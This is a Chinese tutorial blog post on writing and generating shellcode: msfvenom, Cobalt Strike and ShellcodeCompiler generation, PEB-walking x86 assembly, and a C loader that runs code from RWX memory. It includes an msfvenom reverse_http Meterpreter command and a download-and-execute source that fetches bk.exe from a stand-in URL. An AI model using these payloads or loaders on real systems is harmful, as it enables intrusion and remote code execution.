认识ShellCode

1 认识SHELLCODE   

    shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。

    exploit主要强调执行控制权,而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷,往往对于不同漏洞来讲exploit是特殊的,而shellcode会具有一些通用性。

2 生成SHELLCODE  

2.1 CS生成  

认识ShellCode_第1张图片

认识ShellCode_第2张图片

可以看到生成一个payload_x64.c

认识ShellCode_第3张图片

2.2 MSF生成  

利用metasploit框架下的msfvenom生成shellcode。

例如:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.67.5 lport=4444 -f c

认识ShellCode_第4张图片

2.3 PWNTOOLS  

https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/shellcraft.html

认识ShellCode_第5张图片

2.4 ShellcodeCompiler工具  

工具地址:https://github.com/NytroRST/ShellcodeCompiler

Source.txt按如下格式填写:

(1)Windows

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");
    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

(2)linux

    chmod("/root/chmodme",511);    write(1,"Hello, world",12);    kill(1661,9);    getpid();    execve("/usr/bin/burpsuite",0,0);    exit(2);

如下:

认识ShellCode_第6张图片

3 shellcode开发  

3.1 shellcode汇编开发  

1)编译器配置  

(1)编译器 :Release-x86

(2)调试属性-配置属性-C/C++

认识ShellCode_第7张图片

图片

认识ShellCode_第8张图片

(3)调试属性-配置属性-链接器

认识ShellCode_第9张图片

认识ShellCode_第10张图片

(4)入口点设置

认识ShellCode_第11张图片

2)实现核心功能  

l获取 kernel32.dll 基地址

l查找GetProcAddress函数的地址

l使用GetProcAddress查找LoadLibrary函数的地址

l使用LoadLibrary加载 DLL(例如kernel32.dll)

l使用GetProcAddress查找函数的地址(例如MessageBox)

l指定函数参数

l调用函数

认识ShellCode_第12张图片

(1)Find kernel32.dll base address

获取Kernel32基址的方法有TEB查找法,原理是在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB(Process Environment Block)结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个就是Kernel.32.dll的基地址。

认识ShellCode_第13张图片

xor ecx, ecxmov eax, fs:[ecx + 0x30]  ; EAX = PEBmov eax, [eax + 0xc]      ; EAX = PEB->Ldrmov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrderlodsd                     ; EAX = Second modulexchg eax, esi             ; EAX = ESI, ESI = EAXlodsd                     ; EAX = Third(kernel32)mov ebx, [eax + 0x10]     ; EBX = Base address

(2)Find the export table of kernel32.dll

从DLL文件中获取API地址的方法如下,

l在DLL基址+3ch偏移处获取e_lfanew的地址,即可得到PE文件头。

l在PE文件头的78h偏移处得到函数导出表的地址。

l在导出表的1ch偏移处获取AddressOfFunctions的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。

lAddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。

         

认识ShellCode_第14张图片

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx          ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx          ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset names tableadd esi, ebx          ; ESI = Names tablexor ecx, ecx          ; EXC = 0

(3)Find GetProcAddress function name

Get_Function:

inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function

(4)Find the address of GetProcAddress function

mov esi, [edx + 0x24]    ; ESI = Offset ordinalsadd esi, ebx             ; ESI = Ordinals tablemov cx, [esi + ecx * 2]  ; CX = Number of functiondec ecxmov esi, [edx + 0x1c]    ; ESI = Offset address tableadd esi, ebx             ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx             ; EDX = GetProcAddress

(5)Find the LoadLibrary function address

xor ecx, ecx    ; ECX = 0push ebx        ; Kernel32 base addresspush edx        ; GetProcAddresspush ecx        ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp        ; "LoadLibrary"push ebx        ; Kernel32 base addresscall edx        ; GetProcAddress(LL)

(6)Load user32.dll library

add esp, 0xc    ; pop "LoadLibraryA"pop ecx         ; ECX = 0push eax        ; EAX = LoadLibraryApush ecxmov cx, 0x6c6c  ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp        ; "user32.dll"call eax        ; LoadLibrary("user32.dll")

(7)加载MessageBox​​​​​​​

add esp, 0x10                  ; Clean stackmov edx, [esp + 0x4]           ; EDX = GetProcAddressxor ecx, ecx                   ; ECX = 0push ecxmov ecx, 0x6141786f            ; oxAapush ecxsub dword ptr[esp + 0x3], 0x61       ; Remove "a"push 0x42656761                ; ageBpush 0x7373654d                ; Messpush esp                                                 ;”MessageBoxA”push eax                                                 ; user32.dll addresscall edx                                                 ; GetProc(MessageBoxA)

(8)调用MessageBoxA​​​​​​​

add esp, 0x14                                           ; Cleanup stackpush 0x0push 0x0push 0x0push 0x0call eax      ; message

(9)结束进程调用,获取 ExitProcess 函数地址​​​​​​​

add esp, 0x18                    ; 堆栈平衡,call push2次,所以6*4=24pop edx                         ; 重新弹出GetProcAddress地址,继续使用该函数来获取ExitProcesspop ebx                         ; kernel32.dll base addressmov ecx, 0x61737365             ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250                 ; Procpush 0x74697845                 ; Exitpush esppush ebx                        ; kernel32.dll base addresscall edx                        ; GetProc(Exec)

(10)调用 ExitProcess 函数,结束自身​​​​​​​

xor ecx, ecx ; ECX = 0push ecx     ; Return code = 0call eax     ; ExitProcess

最终的代码如下:

认识ShellCode_第15张图片

3)提取为bin文件  

使用kali中的编译环境

(1)编写汇编代码,保存为 hello.asm

认识ShellCode_第16张图片

(2)使用 NASM 汇编器将汇编代码转换为目标文件:

nasm -f elf32 hello.asm -o hello.o

(3)使用 ld 链接器将目标文件转换为可执行文件:

ld -m elf_i386 -s -o hello hello.o

认识ShellCode_第17张图片

(4)使用 objcopy 工具提取 shellcode:

objcopy -O binary --only-section=.text hello shellcode.bin

认识ShellCode_第18张图片

         

4)编写加载器测试bin文件 ​​​​​​​

int main(int argc, char* argv[])
{
    //打开文件
    HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Oen file error:%d\n", GetLastError);
        return -1;
    }

    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);
    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //内存分配是否成功
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError);
        CloseHandle(hFile);
        return -1;
    }
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    //内嵌汇编
    __asm
     {
        call lpAddress
    }
   _flushall();
    system("pause");
    return 0;
}
 
  

认识ShellCode_第19张图片

5)提取bin文件测试  

右键-编辑-复制为十六进制数值

认识ShellCode_第20张图片

测试 ​​​​​​​

认识ShellCode_第21张图片

3.3 shellcode的功能模块  

Shellcode分为两个模块,分别是基本模块和功能模块,结构如图所示。

图片

下载执行(Download & Execute),具有这个功能的Shellcode最常被浏览器类漏洞样本使用,其功能就是从指定的URL下载一个exe文件并运行。

认识ShellCode_第22张图片

捆绑 (Binder),具有这个功能的Shellcode最常见于Office等漏洞样本中,其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行。

认识ShellCode_第23张图片

反弹shell,具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中,攻击者可以借助NC等工具,在实施攻击后获取一个远程She以执行任意命令。

  

认识ShellCode_第24张图片

你可能感兴趣的:(Web安全,网络安全,系统安全,web安全)